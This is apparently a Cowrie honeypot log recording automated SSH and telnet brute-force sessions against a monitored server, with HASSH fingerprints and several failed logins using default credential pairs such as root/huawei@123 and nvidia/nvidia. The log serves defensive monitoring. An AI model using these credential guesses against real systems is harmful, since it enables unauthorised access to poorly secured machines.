{"eventid":"cowrie.session.closed","duration":40.24652051925659,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:36.410335Z","src_ip":"192.119.13.58","session":"91c7ca1863b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45898,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebc8d5e66f45","protocol":"ssh","message":"New connection: 45.153.34.112:45898 (10.17.0.5:22) [session: ebc8d5e66f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:38.128211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:38.131621Z","src_ip":"45.153.34.112","session":"ebc8d5e66f45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:38.262082Z","src_ip":"45.153.34.112","session":"ebc8d5e66f45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:38.508084Z","src_ip":"45.153.34.112","session":"ebc8d5e66f45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:39.769329Z","src_ip":"45.153.34.112","session":"ebc8d5e66f45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32872,"dst_ip":"10.17.0.5","dst_port":22,"session":"58e65aeb0d81","protocol":"ssh","message":"New connection: 45.153.34.112:32872 (10.17.0.5:22) [session: 58e65aeb0d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:41.615036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:41.620471Z","src_ip":"45.153.34.112","session":"58e65aeb0d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:41.702626Z","src_ip":"45.153.34.112","session":"58e65aeb0d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:41.948722Z","src_ip":"45.153.34.112","session":"58e65aeb0d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:43.047360Z","src_ip":"45.153.34.112","session":"58e65aeb0d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32888,"dst_ip":"10.17.0.5","dst_port":22,"session":"c35535b37153","protocol":"ssh","message":"New connection: 45.153.34.112:32888 (10.17.0.5:22) [session: c35535b37153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:45.243370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:45.248736Z","src_ip":"45.153.34.112","session":"c35535b37153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:45.335464Z","src_ip":"45.153.34.112","session":"c35535b37153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:45.582955Z","src_ip":"45.153.34.112","session":"c35535b37153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60356,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3241f298b1","protocol":"telnet","message":"New connection: 192.119.13.58:60356 (10.17.0.5:23) [session: ec3241f298b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:45.622236Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:46.670916Z","src_ip":"45.153.34.112","session":"c35535b37153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.909140825271606,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:47.903315Z","src_ip":"192.119.13.58","session":"c5c9d11bf4d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"8abda966dd89","protocol":"telnet","message":"New connection: 192.119.13.58:43498 (10.17.0.5:23) [session: 8abda966dd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:48.511617Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32892,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5721bf3fc6","protocol":"ssh","message":"New connection: 45.153.34.112:32892 (10.17.0.5:22) [session: 6f5721bf3fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:48.735456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:48.740574Z","src_ip":"45.153.34.112","session":"6f5721bf3fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:48.823215Z","src_ip":"45.153.34.112","session":"6f5721bf3fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:49.070005Z","src_ip":"45.153.34.112","session":"6f5721bf3fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:50.229210Z","src_ip":"45.153.34.112","session":"6f5721bf3fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.769731044769287,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:51.391844Z","src_ip":"192.119.13.58","session":"ec3241f298b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32772,"dst_ip":"10.17.0.5","dst_port":22,"session":"206aedaf02cc","protocol":"ssh","message":"New connection: 45.153.34.112:32772 (10.17.0.5:22) [session: 206aedaf02cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:52.158657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:52.163280Z","src_ip":"45.153.34.112","session":"206aedaf02cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:52.245681Z","src_ip":"45.153.34.112","session":"206aedaf02cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:52.638210Z","src_ip":"45.153.34.112","session":"206aedaf02cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:53.724128Z","src_ip":"45.153.34.112","session":"206aedaf02cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32802,"dst_ip":"10.17.0.5","dst_port":22,"session":"143bc92fc176","protocol":"ssh","message":"New connection: 45.153.34.112:32802 (10.17.0.5:22) [session: 143bc92fc176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:55.714708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:55.719736Z","src_ip":"45.153.34.112","session":"143bc92fc176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:55.802427Z","src_ip":"45.153.34.112","session":"143bc92fc176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"123456","message":"login attempt [node/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:56.057493Z","src_ip":"45.153.34.112","session":"143bc92fc176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:57.365119Z","src_ip":"45.153.34.112","session":"143bc92fc176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.220003604888916,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:58.129461Z","src_ip":"192.119.13.58","session":"98e335d53e86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":32810,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc6b17ebaa9","protocol":"ssh","message":"New connection: 45.153.34.112:32810 (10.17.0.5:22) [session: adc6b17ebaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:59.289181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:59.294132Z","src_ip":"45.153.34.112","session":"adc6b17ebaa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:59.376809Z","src_ip":"45.153.34.112","session":"adc6b17ebaa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.31448411941528,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:59.553691Z","src_ip":"192.119.13.58","session":"5f808dcf54e5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:59.622948Z","src_ip":"45.153.34.112","session":"adc6b17ebaa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:00.709056Z","src_ip":"45.153.34.112","session":"adc6b17ebaa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"c05ac592ff5d","protocol":"ssh","message":"New connection: 45.153.34.112:43572 (10.17.0.5:22) [session: c05ac592ff5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:02.925826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:02.940357Z","src_ip":"45.153.34.112","session":"c05ac592ff5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:10:03.029038Z","src_ip":"45.153.34.112","session":"c05ac592ff5d","protocol":"ssh"}
